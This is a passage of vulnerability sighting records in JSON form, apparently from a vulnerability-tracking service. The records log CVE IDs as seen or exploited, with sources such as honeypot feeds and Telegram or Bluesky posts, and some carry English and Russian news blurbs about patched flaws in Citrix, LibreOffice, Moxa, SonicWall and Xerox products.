"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-19)", "content": "", "creation_timestamp": "2026-07-20T10:15:04.038419Z"}, {"uuid": "6af7de5e-83b8-4a1e-919e-0444408f8dfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "Citrix Patches Privilege Escalation Bug in NetScaler Console\n\nCitrix has released a critical update to fix a vulnerability in NetScaler Console and Agent, tracked as CVE-2024-12284, that allowed authenticated users to escalate their privileges and run unauthorized commands. The flaw affects versions before 14.1-38.53 and 13.1-56.18. Users are encouraged to update to the latest versions as soon as possible.\n\nFor Details\nTG Channel: @crackvaultde\nTG Group: @crack_vault_group\nWebsite: crackvault.de", "creation_timestamp": "2026-07-20T22:00:08.916666Z"}, {"uuid": "0af5a1b1-d171-4550-9929-2a5d7e141e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "Critical Vulnerabilities in LibreOffice Expose Users to Security Risks\n\nTwo critical vulnerabilities, identified as CVE-2024-12425 and CVE-2024-12426, have been discovered in LibreOffice, the widely used open-source office suite. These security flaws allow attackers to write arbitrary files to the filesystem and extract sensitive information from environment variables and configuration files. Both desktop users and server-side implementations are affected, posing significant risks to individuals and organizations.", "creation_timestamp": "2026-07-20T22:00:04.768180Z"}, {"uuid": "fa94971a-125c-43f4-b332-c030e3b218a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "Critical Vulnerabilities in LibreOffice Expose Users to Security Risks\n\nTwo critical vulnerabilities, identified as CVE-2024-12425 and CVE-2024-12426, have been discovered in LibreOffice, the widely used open-source office suite. These security flaws allow attackers to write arbitrary files to the filesystem and extract sensitive information from environment variables and configuration files. Both desktop users and server-side implementations are affected, posing significant risks to individuals and organizations.", "creation_timestamp": "2026-07-20T22:00:04.796111Z"}, {"uuid": "84406ca1-f4d7-4061-a5db-7f4c368314b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/205", "content": "The Hacker News\nMoxa Issues Fix for Critical Authentication Bypass Vulnerability in PT Switches\n\nTaiwanese company Moxa has released a security update to address a critical security flaw impacting its PT switches that could permit an attacker to bypass authentication guarantees.\nThe vulnerability, tracked as CVE-2024-12297, has been assigned a CVSS v4 score of 9.2 out of a maximum of 10.0.\n\"Multiple Moxa PT switches are vulnerable to an authentication bypass because of flaws in their", "creation_timestamp": "2026-07-20T22:00:05.986471Z"}, {"uuid": "3d3d68b8-4239-4cad-a8e9-6bb0ccae5078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/205", "content": "The Hacker News\nMoxa Issues Fix for Critical Authentication Bypass Vulnerability in PT Switches\n\nTaiwanese company Moxa has released a security update to address a critical security flaw impacting its PT switches that could permit an attacker to bypass authentication guarantees.\nThe vulnerability, tracked as CVE-2024-12297, has been assigned a CVSS v4 score of 9.2 out of a maximum of 10.0.\n\"Multiple Moxa PT switches are vulnerable to an authentication bypass because of flaws in their", "creation_timestamp": "2026-07-21T00:00:08.274188Z"}, {"uuid": "472d7c42-3e3e-4cd1-9d94-a8eb2b6d7ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "Critical Vulnerabilities in LibreOffice Expose Users to Security Risks\n\nTwo critical vulnerabilities, identified as CVE-2024-12425 and CVE-2024-12426, have been discovered in LibreOffice, the widely used open-source office suite. These security flaws allow attackers to write arbitrary files to the filesystem and extract sensitive information from environment variables and configuration files. Both desktop users and server-side implementations are affected, posing significant risks to individuals and organizations.", "creation_timestamp": "2026-07-21T00:00:09.541173Z"}, {"uuid": "bc7e811c-7c1c-4e70-90f1-7999e074bb20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "Critical Vulnerabilities in LibreOffice Expose Users to Security Risks\n\nTwo critical vulnerabilities, identified as CVE-2024-12425 and CVE-2024-12426, have been discovered in LibreOffice, the widely used open-source office suite. These security flaws allow attackers to write arbitrary files to the filesystem and extract sensitive information from environment variables and configuration files. Both desktop users and server-side implementations are affected, posing significant risks to individuals and organizations.", "creation_timestamp": "2026-07-21T00:00:09.573520Z"}, {"uuid": "cc6c0c07-992f-41ec-9638-574a5d1f540c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "Citrix Patches Privilege Escalation Bug in NetScaler Console\n\nCitrix has released a critical update to fix a vulnerability in NetScaler Console and Agent, tracked as CVE-2024-12284, that allowed authenticated users to escalate their privileges and run unauthorized commands. The flaw affects versions before 14.1-38.53 and 13.1-56.18. Users are encouraged to update to the latest versions as soon as possible.\n\nFor Details\nTG Channel: @crackvaultde\nTG Group: @crack_vault_group\nWebsite: crackvault.de", "creation_timestamp": "2026-07-21T00:00:18.752003Z"}, {"uuid": "35269bcd-d185-400a-ab68-a2f3d1209703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-20)", "content": "", "creation_timestamp": "2026-07-21T10:15:50.857399Z"}, {"uuid": "fd907d59-b77d-4c9a-b20e-6b59c58a18f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "Citrix Patches Privilege Escalation Bug in NetScaler Console\n\nCitrix has released a critical update to fix a vulnerability in NetScaler Console and Agent, tracked as CVE-2024-12284, that allowed authenticated users to escalate their privileges and run unauthorized commands. The flaw affects versions before 14.1-38.53 and 13.1-56.18. Users are encouraged to update to the latest versions as soon as possible.\n\nFor Details\nTG Channel: @crackvaultde\nTG Group: @crack_vault_group\nWebsite: crackvault.de", "creation_timestamp": "2026-07-22T00:00:33.390484Z"}, {"uuid": "eb7d738c-f7e3-449c-b909-916240926219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr72cdcmci2j", "content": "CVE-2024-12345: Should Ransomware Victims Pay Up or Hold Fast? #Ransomware #CyberSecurity #EthicsInCyberCrime", "creation_timestamp": "2026-07-22T00:17:30.020951Z"}, {"uuid": "ae59f848-47d9-451b-a634-82ea7e5508ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-22)", "content": "", "creation_timestamp": "2026-07-23T10:00:06.495101Z"}, {"uuid": "002d1442-c95b-431b-abf5-193be31ac039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-22)", "content": "", "creation_timestamp": "2026-07-23T10:15:04.999645Z"}, {"uuid": "fe786c5d-cdb0-45b2-8bb0-675d7ea1027a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-30)", "content": "", "creation_timestamp": "2026-08-31T10:00:03.522226Z"}, {"uuid": "32c95da2-edd6-42f8-abab-470dbc59e78b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-22)", "content": "", "creation_timestamp": "2026-08-23T10:00:11.312505Z"}, {"uuid": "8c4829d1-b670-41ec-91d1-9c32ce9be2b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-22)", "content": "", "creation_timestamp": "2026-08-23T10:00:06.327216Z"}, {"uuid": "c2098d60-cb56-49b3-bce1-fe67c475924c", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c388da11-b6c4-43ae-81f2-494914fe3b7b", "content": "", "creation_timestamp": "2026-08-26T01:00:58.641383Z"}, {"uuid": "63315ac8-bea8-46dc-97bb-41aaca26334a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-22)", "content": "", "creation_timestamp": "2026-08-23T10:15:03.711512Z"}, {"uuid": "5a8e80d4-c58f-4f36-8705-7bee03c6d6b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-23)", "content": "", "creation_timestamp": "2026-07-24T10:00:03.974148Z"}, {"uuid": "17f9cdca-f344-4cbc-9d89-bb94251afbd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-23)", "content": "", "creation_timestamp": "2026-07-24T10:15:02.670287Z"}, {"uuid": "289b093e-6a63-4a8a-aabf-9d928e019641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:00:03.861888Z"}, {"uuid": "1ce18041-b193-4203-9e95-facf1bd122da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:15:07.058919Z"}, {"uuid": "8ec6f4ad-ebc4-4e0f-93e4-fc74b907223f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/ZerodayAlert/707", "content": "\u0412 SonicWall SSL VPN \u043d\u0430\u0448\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u0445\u043e\u0434\u0430 MFA \u0431\u0435\u0437 \u0441\u043b\u0435\u0434\u043e\u0432 \u0432 \u043b\u043e\u0433\u0430\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12802 (CVSS: 9.4) \u0432 SonicWall SSL VPN \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0432\u043e\u0434\u044f \u0437\u0430\u0449\u0438\u0442\u0443 \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0430\u0440\u043e\u043b\u044e. \u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Gen6 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u2014 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0448\u0435\u0441\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u0438\u043d\u0430\u0447\u0435 \u0441\u0442\u0430\u0440\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f.\n\n\u0410\u0442\u0430\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0430\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f: \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u0440\u043e\u043b\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u0432\u0445\u043e\u0434 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u043b\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0431\u0435\u0437 \u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0445\u0432\u0430\u0442\u0438\u043b\u043e \u0432\u0441\u0435\u0433\u043e 13 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043e\u043d\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043b\u0438 \u0432 \u0441\u0435\u0442\u044c \u0438 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 30 \u043c\u0438\u043d\u0443\u0442 \u0434\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u0434\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e RDP.\n\nReliaQuest \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0432\u0448\u0438\u0435\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u2014 \u043c\u0430\u044f\u043a Cobalt Strike \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u2014 \u0441 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0439 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u043e\u0439 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira. \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Gen6 \u0432\u044b\u0448\u043b\u0438 \u0438\u0437 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 16 \u0430\u043f\u0440\u0435\u043b\u044f 2026 \u0433\u043e\u0434\u0430, \u043d\u043e \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u043c\u0430\u043b\u043e\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0438 ReliaQuest \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u0433\u043e\u0434\u0430.\n\n#sonicwall #vpn #zeroday #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.927946Z"}, {"uuid": "7dca39bf-3623-43f4-9d09-18dcf563fc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:15:02.659891Z"}, {"uuid": "3c69e131-381f-46db-928c-06636f465dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u043e\u0439 \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\ud83d\udee1 Xerox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Service Pack 57.75.53 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n#Xerox #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:17.629673Z"}, {"uuid": "7e6ab1ae-5c5f-42ce-9a21-e48d01707f82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u0442\u043e\u0440\u0430\u044f (CVE-2024-12511) \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c 